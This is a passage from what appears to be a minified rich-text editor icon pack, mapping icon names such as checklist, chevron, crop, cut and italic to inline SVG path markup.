0-2.4-.5-3.3-1.7-3.3zM10 15.7H5.5l-.8 2.6a1 1 0 01-1 .7h-.2a.7.7 0 01-.7-1l4-12a1 1 0 012 0l4 12a.7.7 0 01-.8 1h-.2a1 1 0 01-1-.7l-.8-2.6zm-.3-1.5l-2-6.5-1.9 6.5h3.9z" fill-rule="evenodd"/></svg>',"character-count":'<svg width="24" height="24"><path d="M4 11.5h16v1H4v-1zm4.8-6.8V10H7.7V5.8h-1v-1h2zM11 8.3V9h2v1h-3V7.7l2-1v-.9h-2v-1h3v2.4l-2 1zm6.3-3.4V10h-3.1V9h2.1V8h-2.1V6.8h2.1v-1h-2.1v-1h3.1zM5.8 16.4c0-.5.2-.8.5-1 .2-.2.6-.3 1.2-.3l.8.1c.2 0 .4.2.5.3l.4.4v2.8l.2.3H8.2v-.1-.2l-.6.3H7c-.4 0-.7 0-1-.2a1 1 0 01-.3-.9c0-.3 0-.6.3-.8.3-.2.7-.4 1.2-.4l.6-.2h.3v-.2l-.1-.2a.8.8 0 00-.5-.1 1 1 0 00-.4 0l-.3.4h-1zm2.3.8h-.2l-.2.1-.4.1a1 1 0 00-.4.2l-.2.2.1.3.5.1h.4l.4-.4v-.6zm2-3.4h1.2v1.7l.5-.3h.5c.5 0 .9.1 1.2.5.3.4.5.8.5 1.4 0 .6-.2 1.1-.5 1.5-.3.4-.7.6-1.3.6l-.6-.1-.4-.4v.4h-1.1v-5.4zm1.1 3.3c0 .3 0 .6.2.8a.7.7 0 001.2 0l.2-.8c0-.4 0-.6-.2-.8a.7.7 0 00-.6-.3l-.6.3-.2.8zm6.1-.5c0-.2 0-.3-.2-.4a.8.8 0 00-.5-.2c-.3 0-.5.1-.6.3l-.2.9c0 .3 0 .6.2.8.1.2.3.3.6.3.2 0 .4 0 .5-.2l.2-.4h1.1c0 .5-.3.8-.6 1.1a2 2 0 01-1.3.4c-.5 0-1-.2-1.3-.6a2 2 0 01-.5-1.4c0-.6.1-1.1.5-1.5.3-.4.8-.5 1.4-.5.5 0 1 0 1.2.3.4.3.5.7.5 1.2h-1v-.1z" fill-rule="evenodd"/></svg>',"checklist-rtl":'<svg width="24" height="24"><path d="M5 17h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 010-2zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 010-2zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 110-2zm14.2 11c.2-.4.6-.5.9-.3.3.2.4.6.2 1L18 20c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 010-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8zm0-6c.2-.4.6-.5.9-.3.3.2.4.6.2 1L18 14c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 010-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8zm0-6c.2-.4.6-.5.9-.3.3.2.4.6.2 1L18 8c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 010-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8z" fill-rule="evenodd"/></svg>',checklist:'<svg width="24" height="24"><path d="M11 17h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm0-6h8a1 1 0 010 2h-8a1 1 0 010-2zM7.2 16c.2-.4.6-.5.9-.3.3.2.4.6.2 1L6 20c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 010-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8zm0-6c.2-.4.6-.5.9-.3.3.2.4.6.2 1L6 14c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 010-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8zm0-6c.2-.4.6-.5.9-.3.3.2.4.6.2 1L6 8c-.2.3-.7.4-1 0L3.8 6.9a.7.7 0 010-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8z" fill-rule="evenodd"/></svg>',checkmark:'<svg width="24" height="24"><path d="M18.2 5.4a1 1 0 011.6 1.2l-8 12a1 1 0 01-1.5.1l-5-5a1 1 0 111.4-1.4l4.1 4.1 7.4-11z" fill-rule="nonzero"/></svg>',"chevron-down":'<svg width="10" height="10"><path d="M8.7 2.2c.3-.3.8-.3 1 0 .4.4.4.9 0 1.2L5.7 7.8c-.3.3-.9.3-1.2 0L.2 3.4a.8.8 0 010-1.2c.3-.3.8-.3 1.1 0L5 6l3.7-3.8z" fill-rule="nonzero"/></svg>',"chevron-left":'<svg width="10" height="10"><path d="M7.8 1.3L4 5l3.8 3.7c.3.3.3.8 0 1-.4.4-.9.4-1.2 0L2.2 5.7a.8.8 0 010-1.2L6.6.2C7 0 7.4 0 7.8.2c.3.3.3.8 0 1.1z" fill-rule="nonzero"/></svg>',"chevron-right":'<svg width="10" height="10"><path d="M2.2 1.3a.8.8 0 010-1c.4-.4.9-.4 1.2 0l4.4 4.1c.3.4.3.9 0 1.2L3.4 9.8c-.3.3-.8.3-1.2 0a.8.8 0 010-1.1L6 5 2.2 1.3z" fill-rule="nonzero"/></svg>',"chevron-up":'<svg width="10" height="10"><path d="M8.7 7.8L5 4 1.3 7.8c-.3.3-.8.3-1 0a.8.8 0 010-1.2l4.1-4.4c.3-.3.9-.3 1.2 0l4.2 4.4c.3.3.3.9 0 1.2-.3.3-.8.3-1.1 0z" fill-rule="nonzero"/></svg>',close:'<svg width="24" height="24"><path d="M17.3 8.2L13.4 12l3.9 3.8a1 1 0 01-1.5 1.5L12 13.4l-3.8 3.9a1 1 0 01-1.5-1.5l3.9-3.8-3.9-3.8a1 1 0 011.5-1.5l3.8 3.9 3.8-3.9a1 1 0 011.5 1.5z" fill-rule="evenodd"/></svg>',"code-sample":'<svg width="24" height="26"><path d="M7.1 11a2.8 2.8 0 01-.8 2 2.8 2.8 0 01.8 2v1.7c0 .3.1.6.4.8.2.3.5.4.8.4.3 0 .4.2.4.4v.8c0 .2-.1.4-.4.4-.7 0-1.4-.3-2-.8-.5-.6-.8-1.3-.8-2V15c0-.3-.1-.6-.4-.8-.2-.3-.5-.4-.8-.4a.4.4 0 01-.4-.4v-.8c0-.2.2-.4.4-.4.3 0 .6-.1.8-.4.3-.2.4-.5.4-.8V9.3c0-.7.3-1.4.8-2 .6-.5 1.3-.8 2-.8.3 0 .4.2.4.4v.8c0 .2-.1.4-.4.4-.3 0-.6.1-.8.4-.3.2-.4.5-.4.8V11zm9.8 0V9.3c0-.3-.1-.6-.4-.8-.2-.3-.5-.4-.8-.4a.4.4 0 01-.4-.4V7c0-.2.1-.4.4-.4.7 0 1.4.3 2 .8.5.6.8 1.3.8 2V11c0 .3.1.6.4.8.2.3.5.4.8.4.2 0 .4.2.4.4v.8c0 .2-.2.4-.4.4-.3 0-.6.1-.8.4-.3.2-.4.5-.4.8v1.7c0 .7-.3 1.4-.8 2-.6.5-1.3.8-2 .8a.4.4 0 01-.4-.4v-.8c0-.2.1-.4.4-.4.3 0 .6-.1.8-.4.3-.2.4-.5.4-.8V15a2.8 2.8 0 01.8-2 2.8 2.8 0 01-.8-2zm-3.3-.4c0 .4-.1.8-.5 1.1-.3.3-.7.5-1.1.5-.4 0-.8-.2-1.1-.5-.4-.3-.5-.7-.5-1.1 0-.5.1-.9.5-1.2.3-.3.7-.4 1.1-.4.4 0 .8.1 1.1.4.4.3.5.7.5 1.2zM12 13c.4 0 .8.1 1.1.5.4.3.5.7.5 1.1 0 1-.1 1.6-.5 2a3 3 0 01-1.1 1c-.4.3-.8.4-1.1.4a.5.5 0 01-.5-.5V17a3 3 0 001-.2l.6-.6c-.6 0-1-.2-1.3-.5-.2-.3-.3-.7-.3-1 0-.5.1-1 .5-1.2.3-.4.7-.5 1.1-.5z" fill-rule="evenodd"/></svg>',"color-levels":'<svg width="24" height="24"><path d="M17.5 11.4A9 9 0 0118 14c0 .5 0 1-.2 1.4 0 .4-.3.9-.5 1.3a6.2 6.2 0 01-3.7 3 5.7 5.7 0 01-3.2 0A5.9 5.9 0 017.6 18a6.2 6.2 0 01-1.4-2.6 6.7 6.7 0 010-2.8c0-.4.1-.9.3-1.3a13.6 13.6 0 012.3-4A20 20 0 0112 4a26.4 26.4 0 013.2 3.4 18.2 18.2 0 012.3 4zm-2 4.5c.4-.7.5-1.4.5-2a7.3 7.3 0 00-1-3.2c.2.6.2 1.2.2 1.9a4.5 4.5 0 01-1.3 3 5.3 5.3 0 01-2.3 1.5 4.9 4.9 0 01-2 .1 4.3 4.3 0 002.4.8 4 4 0 002-.6 4 4 0 001.5-1.5z" fill-rule="evenodd"/></svg>',"color-picker":'<svg width="24" height="24"><path d="M12 3a9 9 0 000 18 1.5 1.5 0 001.1-2.5c-.2-.3-.4-.6-.4-1 0-.8.7-1.5 1.5-1.5H16a5 5 0 005-5c0-4.4-4-8-9-8zm-5.5 9a1.5 1.5 0 110-3 1.5 1.5 0 010 3zm3-4a1.5 1.5 0 110-3 1.5 1.5 0 010 3zm5 0a1.5 1.5 0 110-3 1.5 1.5 0 010 3zm3 4a1.5 1.5 0 110-3 1.5 1.5 0 010 3z" fill-rule="nonzero"/></svg>',"color-swatch-remove-color":'<svg width="24" height="24"><path stroke="#000" stroke-width="2" d="M21 3L3 21" fill-rule="evenodd"/></svg>',"color-swatch":'<svg width="24" height="24"><rect x="3" y="3" width="18" height="18" rx="1" fill-rule="evenodd"/></svg>',"comment-add":'<svg width="24" height="24"><g fill-rule="nonzero"><path d="M9 19l3-2h7c.6 0 1-.4 1-1V6c0-.6-.4-1-1-1H5a1 1 0 00-1 1v10c0 .6.4 1 1 1h4v2zm-2 4v-4H5a3 3 0 01-3-3V6a3 3 0 013-3h14a3 3 0 013 3v10a3 3 0 01-3 3h-6.4L7 23z"/><path d="M13 10h2a1 1 0 010 2h-2v2a1 1 0 01-2 0v-2H9a1 1 0 010-2h2V8a1 1 0 012 0v2z"/></g></svg>',comment:'<svg width="24" height="24"><path fill-rule="nonzero" d="M9 19l3-2h7c.6 0 1-.4 1-1V6c0-.6-.4-1-1-1H5a1 1 0 00-1 1v10c0 .6.4 1 1 1h4v2zm-2 4v-4H5a3 3 0 01-3-3V6a3 3 0 013-3h14a3 3 0 013 3v10a3 3 0 01-3 3h-6.4L7 23z"/></svg>',contrast:'<svg width="24" height="24"><path d="M12 4a7.8 7.8 0 015.7 2.3A8 8 0 1112 4zm-6 8a6 6 0 006 6V6a6 6 0 00-6 6z" fill-rule="evenodd"/></svg>',copy:'<svg width="24" height="24"><path d="M16 3H6a2 2 0 00-2 2v11h2V5h10V3zm1 4a2 2 0 012 2v10a2 2 0 01-2 2h-7a2 2 0 01-2-2V9c0-1.2.9-2 2-2h7zm0 12V9h-7v10h7z" fill-rule="nonzero"/></svg>',crop:'<svg width="24" height="24"><path d="M17 8v7h2c.6 0 1 .4 1 1s-.4 1-1 1h-2v2c0 .6-.4 1-1 1a1 1 0 01-1-1v-2H7V9H5a1 1 0 110-2h2V5c0-.6.4-1 1-1s1 .4 1 1v2h7l3-3 1 1-3 3zM9 9v5l5-5H9zm1 6h5v-5l-5 5z" fill-rule="evenodd"/></svg>',"cut-column":'<svg width="24" height="24"><path fill-rule="evenodd" d="M7.2 4.5c.9 0 1.6.4 2.2 1A3.7 3.7 0 0110.5 8v.5l1 1 4-4 1-.5a3.3 3.3 0 012 0c.4 0 .7.3 1 .5L17 8h4v13h-6V10l-1.5 1.5.5.5v4l-2.5-2.5-1 1v.5c0 .4 0 .8-.3 1.2-.2.5-.4.9-.8 1.2-.6.7-1.3 1-2.2 1-.8.2-1.5 0-2-.6l-.5-.8-.2-1c0-.4 0-.8.3-1.2A3.9 3.9 0 017 12.7c.5-.2 1-.3 1.5-.2l1-1-1-1c-.5 0-1 0-1.5-.2-.5-.1-1-.4-1.4-.9-.4-.3-.6-.7-.8-1.2L4.5 7c0-.4 0-.7.2-1 0-.3.3-.6.5-.8.5-.5 1.2-.8 2-.7zm12.3 5h-3v10h3v-10zM8 13.8h-.3l-.4.2a2.8 2.8 0 00-.7.4v.1a2.8 2.8 0 00-.6.8l-.1.4v.7l.2.5.5.2h.7a2.6 2.6 0 00.8-.3 2.4 2.4 0 00.7-.7 2.5 2.5 0 00.3-.8 1.5 1.5 0 000-.8 1 1 0 00-.2-.4 1 1 0 00-.5-.2H8zm3.5-3.7c-.4 0-.7.1-1 .4-.3.3-.4.6-.4 1s.1.7.4 1c.3.3.6.4 1 .4s.7-.1 1-.4c.3-.3.4-.6.4-1s-.1-.7-.4-1c-.3-.3-.6-.4-1-.4zM7 5.8h-.4a1 1 0 00-.5.3 1 1 0 00-.2.5v.7a2.5 2.5 0 00.3.8l.2.3h.1l.4.4.4.2.4.1h.7L9 9l.2-.4a1.6 1.6 0 000-.8 2.6 2.6 0 00-.3-.8A2.5 2.5 0 007.7 6l-.4-.1H7z"/></svg>',"cut-row":'<svg width="24" height="24"><path fill-rule="evenodd" d="M22 3v5H9l3 3 2-2h4l-4 4 1 1h.5c.4 0 .8 0 1.2.3.5.2.9.4 1.2.8.7.6 1 1.3 1 2.2.2.8 0 1.5-.6 2l-.8.5-1 .2c-.4 0-.8 0-1.2-.3a3.9 3.9 0 01-2.1-2.2c-.2-.5-.3-1-.2-1.5l-1-1-1 1c0 .5 0 1-.2 1.5-.1.5-.4 1-.9 1.4-.3.4-.7.6-1.2.8l-1.2.3c-.4 0-.7 0-1-.2-.3 0-.6-.3-.8-.5-.5-.5-.8-1.2-.7-2 0-.9.4-1.6 1-2.2A3.7 3.7 0 018.6 14H9l1-1-4-4-.5-1a3.3 3.3 0 010-2c0-.4.3-.7.5-1l2 2V3h14zM8.5 15.3h-.3a2.6 2.6 0 00-.8.4 2.5 2.5 0 00-.9 1.1l-.1.4v.7l.2.5.5.2h.7a2.5 2.5 0 00.8-.3L9 18V18l.4-.4.2-.4.1-.4v-.3-.4a1 1 0 00-.2-.5 1 1 0 00-.4-.2h-.5zm7 0H15a1 1 0 00-.4.3 1 1 0 00-.2.5 1.5 1.5 0 000 .7v.4a2.8 2.8 0 00.5.7h.1a2.8 2.8 0 00.8.6l.4.1h.7l.5-.2.2-.5v-.4-.3a2.6 2.6 0 00-.3-.8 2.4 2.4 0 00-.7-.7 2.5 2.5 0 00-.8-.3h-.3zM12 11.6c-.4 0-.7.1-1 .4-.3.3-.4.6-.4 1s.1.7.4 1c.3.3.6.4 1 .4s.7-.1 1-.4c.3-.3.4-.6.4-1s-.1-.7-.4-1c-.3-.3-.6-.4-1-.4zm8.5-7.1h-11v2h11v-2z"/></svg>',cut:'<svg width="24" height="24"><path d="M18 15c.6.7 1 1.4 1 2.3 0 .8-.2 1.5-.7 2l-.8.5-1 .2c-.4 0-.8 0-1.2-.3a3.9 3.9 0 01-2.1-2.2c-.2-.5-.3-1-.2-1.5l-1-1-1 1c0 .5 0 1-.2 1.5-.1.5-.4 1-.9 1.4-.3.4-.7.6-1.2.8l-1.2.3c-.4 0-.7 0-1-.2-.3 0-.6-.3-.8-.5-.5-.5-.8-1.2-.7-2 0-.9.4-1.6 1-2.2A3.7 3.7 0 018.6 14H9l1-1-4-4-.5-1a3.3 3.3 0 010-2c0-.4.3-.7.5-1l6 6 6-6 .5 1a3.3 3.3 0 010 2c0 .4-.3.7-.5 1l-4 4 1 1h.5c.4 0 .8 0 1.2.3.5.2.9.4 1.2.8zm-8.5 2.2l.1-.4v-.3-.4a1 1 0 00-.2-.5 1 1 0 00-.4-.2 1.6 1.6 0 00-.8 0 2.6 2.6 0 00-.8.3 2.5 2.5 0 00-.9 1.1l-.1.4v.7l.2.5.5.2h.7a2.5 2.5 0 00.8-.3 2.8 2.8 0 001-1zm2.5-2.8c.4 0 .7-.1 1-.4.3-.3.4-.6.4-1s-.1-.7-.4-1c-.3-.3-.6-.4-1-.4s-.7.1-1 .4c-.3.3-.4.6-.4 1s.1.7.4 1c.3.3.6.4 1 .4zm5.4 4l.2-.5v-.4-.3a2.6 2.6 0 00-.3-.8 2.4 2.4 0 00-.7-.7 2.5 2.5 0 00-.8-.3 1.5 1.5 0 00-.8 0 1 1 0 00-.4.2 1 1 0 00-.2.5 1.5 1.5 0 000 .7v.4l.3.4.3.4a2.8 2.8 0 00.8.5l.4.1h.7l.5-.2z" fill-rule="evenodd"/></svg>',"document-properties":'<svg width="24" height="24"><path d="M14.4 3H7a2 2 0 00-2 2v14c0 1.1.9 2 2 2h10a2 2 0 002-2V7.6L14.4 3zM17 19H7V5h6v4h4v10z" fill-rule="nonzero"/></svg>',drag:'<svg width="24" height="24"><path d="M13 5h2v2h-2V5zm0 4h2v2h-2V9zM9 9h2v2H9V9zm4 4h2v2h-2v-2zm-4 0h2v2H9v-2zm0 4h2v2H9v-2zm4 0h2v2h-2v-2zM9 5h2v2H9V5z" fill-rule="evenodd"/></svg>',"duplicate-column":'<svg width="24" height="24"><path d="M17 6v16h-7V6h7zm-2 2h-3v12h3V8zm-2-6v2H8v15H6V2h7z"/></svg>',"duplicate-row":'<svg width="24" height="24"><path d="M22 11v7H6v-7h16zm-2 2H8v3h12v-3zm-1-6v2H4v5H2V7h17z"/></svg>',duplicate:'<svg width="24" height="24"><g fill-rule="nonzero"><path d="M16 3v2H6v11H4V5c0-1.1.9-2 2-2h10zm3 8h-2V9h-7v10h9a2 2 0 01-2 2h-7a2 2 0 01-2-2V9c0-1.2.9-2 2-2h7a2 2 0 012 2v2z"/><path d="M17 14h1a1 1 0 010 2h-1v1a1 1 0 01-2 0v-1h-1a1 1 0 010-2h1v-1a1 1 0 012 0v1z"/></g></svg>',"edit-block":'<svg width="24" height="24"><path fill-rule="nonzero" d="M19.8 8.8l-9.4 9.4c-.2.2-.5.4-.9.4l-5.4 1.2 1.2-5.4.5-.8 9.4-9.4c.7-.7 1.8-.7 2.5 0l2.1 2.1c.7.7.7 1.8 0 2.5zm-2-.2l1-.9v-.3l-2.2-2.2a.3.3 0 00-.3 0l-1 1L18 8.5zm-1 1l-2.5-2.4-6 6 2.5 2.5 6-6zm-7 7.1l-2.6-2.4-.3.3-.1.2-.7 3 3.1-.6h.1l.4-.5z"/></svg>',"edit-image":'<svg width="24" height="24"><path d="M18 16h2V7a2 2 0 00-2-2H7v2h11v9zM6 17h15a1 1 0 010 2h-1v1a1 1 0 01-2 0v-1H6a2 2 0 01-2-2V7H3a1 1 0 110-2h1V4a1 1 0 112 0v13zm3-5.3l1.3 2 3-4.7 3.7 6H7l2-3.3z" fill-rule="nonzero"/></svg>',"embed-page":'<svg width="24" height="24"><path d="M19 6V5H5v14h2A13 13 0 0119 6zm0 1.4c-.8.8-1.6 2.4-2.2 4.6H19V7.4zm0 5.6h-2.4c-.4 1.8-.6 3.8-.6 6h3v-6zm-4 6c0-2.2.2-4.2.6-6H13c-.7 1.8-1.1 3.8-1.1 6h3zm-4 0c0-2.2.4-4.2 1-6H9.6A12 12 0 008 19h3zM4 3h16c.6 0 1 .4 1 1v16c0 .6-.4 1-1 1H4a1 1 0 01-1-1V4c0-.6.4-1 1-1zm11.8 9c.4-1.9 1-3.4 1.8-4.5a9.2 9.2 0 00-4 4.5h2.2zm-3.4 0a12 12 0 012.8-4 12 12 0 00-5 4h2.2z" fill-rule="nonzero"/></svg>',embed:'<svg width="24" height="24"><path d="M4 3h16c.6 0 1 .4 1 1v16c0 .6-.4 1-1 1H4a1 1 0 01-1-1V4c0-.6.4-1 1-1zm1 2v14h14V5H5zm4.8 2.6l5.6 4a.5.5 0 010 .8l-5.6 4A.5.5 0 019 16V8a.5.5 0 01.8-.4z" fill-rule="nonzero"/></svg>',emoji:'<svg width="24" height="24"><path d="M9 11c.6 0 1-.4 1-1s-.4-1-1-1a1 1 0 00-1 1c0 .6.4 1 1 1zm6 0c.6 0 1-.4 1-1s-.4-1-1-1a1 1 0 00-1 1c0 .6.4 1 1 1zm-3 5.5c2.1 0 4-1.5 4.4-3.5H7.6c.5 2 2.3 3.5 4.4 3.5zM12 4a8 8 0 100 16 8 8 0 000-16zm0 14.5a6.5 6.5 0 110-13 6.5 6.5 0 010 13z" fill-rule="nonzero"/></svg>',export:'<svg width="24" height="24"><g fill-rule="nonzero"><path d="M14.4 3L18 7v1h-5V5H7v14h9a1 1 0 012 0c0 1-.8 2-1.9 2H7c-1 0-2-.8-2-1.9V5c0-1 .8-2 1.9-2h7.5z"/><path d="M18.1 12c.5 0 .9.4.9 1 0 .5-.3 1-.8 1h-7.3c-.5 0-.9-.4-.9-1 0-.5.3-1 .8-1h7.3z"/><path d="M16.4 9.2a1 1 0 011.4.2l2.4 3.6-2.4 3.6a1 1 0 01-1.7-1v-.2l1.7-2.4-1.6-2.4a1 1 0 01.2-1.4z"/></g></svg>',fill:'<svg width="24" height="26"><path d="M16.6 12l-9-9-1.4 1.4 2.4 2.4-5.2 5.1c-.5.6-.5 1.6 0 2.2L9 19.6a1.5 1.5 0 002.2 0l5.5-5.5c.5-.6.5-1.6 0-2.2zM5.2 13L10 8.2l4.8 4.8H5.2zM19 14.5s-2 2.2-2 3.5c0 1.1.9 2 2 2a2 2 0 002-2c0-1.3-2-3.5-2-3.5z" fill-rule="nonzero"/></svg>',"flip-horizontally":'<svg width="24" height="24"><path d="M14 19h2v-2h-2v2zm4-8h2V9h-2v2zM4 7v10c0 1.1.9 2 2 2h3v-2H6V7h3V5H6a2 2 0 00-2 2zm14-2v2h2a2 2 0 00-2-2zm-7 16h2V3h-2v18zm7-6h2v-2h-2v2zm-4-8h2V5h-2v2zm4 12a2 2 0 002-2h-2v2z" fill-rule="nonzero"/></svg>',"flip-vertically":'<svg width="24" height="24"><path d="M5 14v2h2v-2H5zm8 4v2h2v-2h-2zm4-14H7a2 2 0 00-2 2v3h2V6h10v3h2V6a2 2 0 00-2-2zm2 14h-2v2a2 2 0 002-2zM3 11v2h18v-2H3zm6 7v2h2v-2H9zm8-4v2h2v-2h-2zM5 18c0 1.1.9 2 2 2v-2H5z" fill-rule="nonzero"/></svg>',"format-painter":'<svg width="24" height="24"><path d="M18 5V4c0-.5-.4-1-1-1H5a1 1 0 00-1 1v4c0 .6.5 1 1 1h12c.6 0 1-.4 1-1V7h1v4H9v9c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-7h8V5h-3z" fill-rule="nonzero"/></svg>',format:'<svg width="24" height="24"><path fill-rule="evenodd" d="M17 5a1 1 0 010 2h-4v11a1 1 0 01-2 0V7H7a1 1 0 110-2h10z"/></svg>',fullscreen:'<svg width="24" height="24"><path d="M15.3 10l-1.2-1.3 2.9-3h-2.3a.9.9 0 110-1.7H19c.5 0 .9.4.9.9v4.4a.9.9 0 11-1.8 0V7l-2.9 3zm0 4l3 3v-2.3a.9.9 0 111.7 0V19c0 .5-.4.9-.9.9h-4.4a.9.9 0 110-1.8H17l-3-2.9 1.3-1.2zM10 15.4l-2.9 3h2.3a.9.9 0 110 1.7H5a.9.9 0 01-.9-.9v-4.4a.9.9 0 111.8 0V17l2.9-3 1.2 1.3zM8.7 10L5.7 7v2.3a.9.9 0 01-1.7 0V5c0-.5.4-.9.9-.9h4.4a.9.9 0 010 1.8H7l3 2.9-1.3 1.2z" fill-rule="nonzero"/></svg>',gallery:'<svg width="24" height="24"><path fill-rule="nonzero" d="M5 15.7l2.3-2.2c.3-.3.7-.3 1 0L11 16l5.1-5c.3-.4.8-.4 1 0l2 1.9V8H5v7.7zM5 18V19h3l1.8-1.9-2-2L5 17.9zm14-3l-2.5-2.4-6.4 6.5H19v-4zM4 6h16c.6 0 1 .4 1 1v13c0 .6-.4 1-1 1H4a1 1 0 01-1-1V7c0-.6.4-1 1-1zm6 7a2 2 0 110-4 2 2 0 010 4zM4.5 4h15a.5.5 0 110 1h-15a.5.5 0 010-1zm2-2h11a.5.5 0 110 1h-11a.5.5 0 010-1z"/></svg>',gamma:'<svg width="24" height="24"><path d="M4 3h16c.6 0 1 .4 1 1v16c0 .6-.4 1-1 1H4a1 1 0 01-1-1V4c0-.6.4-1 1-1zm1 2v14h14V5H5zm6.5 11.8V14L9.2 8.7a5.1 5.1 0 00-.4-.8l-.1-.2H8 8v-1l.3-.1.3-.1h.7a1 1 0 01.6.5l.1.3a8.5 8.5 0 01.3.6l1.9 4.6 2-5.2a1 1 0 011-.6.5.5 0 01.5.6L13 14v2.8a.7.7 0 01-1.4 0z" fill-rule="nonzero"/></svg>',help:'<svg width="24" height="24"><g fill-rule="evenodd"><path d="M12 5.5a6.5 6.5 0 00-6 9 6.3 6.3 0 001.4 2l1 1a6.3 6.3 0 003.6 1 6.5 6.5 0 006-9 6.3 6.3 0 00-1.4-2l-1-1a6.3 6.3 0 00-3.6-1zM12 4a7.8 7.8 0 015.7 2.3A8 8 0 1112 4z"/><path d="M9.6 9.7a.7.7 0 01-.7-.8c0-1.1 1.5-1.8 3.2-1.8 1.8 0 3.2.8 3.2 2.4 0 1.4-.4 2.1-1.5 2.8-.2 0-.3.1-.3.2a2 2 0 00-.8.8.8.8 0 01-1.4-.6c.3-.7.8-1 1.3-1.5l.4-.2c.7-.4.8-.6.8-1.5 0-.5-.6-.9-1.7-.9-.5 0-1 .1-1.4.3-.2 0-.3.1-.3.2v-.2c0 .4-.4.8-.8.8z" fill-rule="nonzero"/><circle cx="12" cy="16" r="1"/></g></svg>',"highlight-bg-color":'<svg width="24" height="24"><g fill-rule="evenodd"><path id="tox-icon-highlight-bg-color__color" d="M3 18h18v3H3z"/><path fill-rule="nonzero" d="M7.7 16.7H3l3.3-3.3-.7-.8L10.2 8l4 4.1-4 4.2c-.2.2-.6.2-.8 0l-.6-.7-1.1 1.1zm5-7.5L11 7.4l3-2.9a2 2 0 012.6 0L18 6c.7.7.7 2 0 2.7l-2.9 2.9-1.8-1.8-.5-.6"/></g></svg>',home:'<svg width="24" height="24"><path fill-rule="nonzero" d="M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z"/></svg>',"horizontal-rule":'<svg width="24" height="24"><path d="M4 11h16v2H4z" fill-rule="evenodd"/></svg>',"image-options":'<svg width="24" height="24"><path d="M6 10a2 2 0 00-2 2c0 1.1.9 2 2 2a2 2 0 002-2 2 2 0 00-2-2zm12 0a2 2 0 00-2 2c0 1.1.9 2 2 2a2 2 0 002-2 2 2 0 00-2-2zm-6 0a2 2 0 00-2 2c0 1.1.9 2 2 2a2 2 0 002-2 2 2 0 00-2-2z" fill-rule="nonzero"/></svg>',image:'<svg width="24" height="24"><path d="M5 15.7l3.3-3.2c.3-.3.7-.3 1 0L12 15l4.1-4c.3-.4.8-.4 1 0l2 1.9V5H5v10.7zM5 18V19h3l2.8-2.9-2-2L5 17.9zm14-3l-2.5-2.4-6.4 6.5H19v-4zM4 3h16c.6 0 1 .4 1 1v16c0 .6-.4 1-1 1H4a1 1 0 01-1-1V4c0-.6.4-1 1-1zm6 8a2 2 0 100-4 2 2 0 000 4z" fill-rule="nonzero"/></svg>',indent:'<svg width="24" height="24"><path d="M7 5h12c.6 0 1 .4 1 1s-.4 1-1 1H7a1 1 0 110-2zm5 4h7c.6 0 1 .4 1 1s-.4 1-1 1h-7a1 1 0 010-2zm0 4h7c.6 0 1 .4 1 1s-.4 1-1 1h-7a1 1 0 010-2zm-5 4h12a1 1 0 010 2H7a1 1 0 010-2zm-2.6-3.8L6.2 12l-1.8-1.2a1 1 0 011.2-1.6l3 2a1 1 0 010 1.6l-3 2a1 1 0 11-1.2-1.6z" fill-rule="evenodd"/></svg>',info:'<svg width="24" height="24"><path d="M12 4a7.8 7.8 0 015.7 2.3A8 8 0 1112 4zm-1 3v2h2V7h-2zm3 10v-1h-1v-5h-3v1h1v4h-1v1h4z" fill-rule="evenodd"/></svg>',"insert-character":'<svg width="24" height="24"><path d="M15 18h4l1-2v4h-6v-3.3l1.4-1a6 6 0 001.8-2.9 6.3 6.3 0 00-.1-4.1 5.8 5.8 0 00-3-3.2c-.6-.3-1.3-.5-2.1-.5a5.1 5.1 0 00-3.9 1.8 6.3 6.3 0 00-1.3 6 6.2 6.2 0 001.8 3l1.4.9V20H4v-4l1 2h4v-.5l-2-1L5.4 15A6.5 6.5 0 014 11c0-1 .2-1.9.6-2.7A7 7 0 016.3 6C7.1 5.4 8 5 9 4.5c1-.3 2-.5 3.1-.5a8.8 8.8 0 015.7 2 7 7 0 011.7 2.3 6 6 0 01.2 4.8c-.2.7-.6 1.3-1 1.9a7.6 7.6 0 01-3.6 2.5v.5z" fill-rule="evenodd"/></svg>',"insert-time":'<svg width="24" height="24"><g fill-rule="nonzero"><path d="M12 19a7 7 0 100-14 7 7 0 000 14zm0 2a9 9 0 110-18 9 9 0 010 18z"/><path d="M16 12h-3V7c0-.6-.4-1-1-1a1 1 0 00-1 1v7h5c.6 0 1-.4 1-1s-.4-1-1-1z"/></g></svg>',invert:'<svg width="24" height="24"><path d="M18 19.3L16.5 18a5.8 5.8 0 01-3.1 1.9 6.1 6.1 0 01-5.5-1.6A5.8 5.8 0 016 14v-.3l.1-1.2A13.9 13.9 0 017.7 9l-3-3 .7-.8 2.8 2.9 9 8.9 1.5 1.6-.7.6zm0-5.5v.3l-.1 1.1-.4 1-1.2-1.2a4.3 4.3 0 00.2-1v-.2c0-.4 0-.8-.2-1.3l-.5-1.4a14.8 14.8 0 00-3-4.2L12 6a26.1 26.1 0 00-2.2 2.5l-1-1a20.9 20.9 0 012.9-3.3L12 4l1 .8a22.2 22.2 0 014 5.4c.6 1.2 1 2.4 1 3.6z" fill-rule="evenodd"/></svg>',italic:'<svg width="24" height="24"><path d="M16.7 4.7l-.1.9h-.3c-.6 0-1 0-1.4.3-.3.3-.4.6-.5 1.1l-2.1 9.8v.6c0 .5.4.8 1.4.8h.2l-.2.8H8l.2-.8h.2c1.1 0 1.8-.5 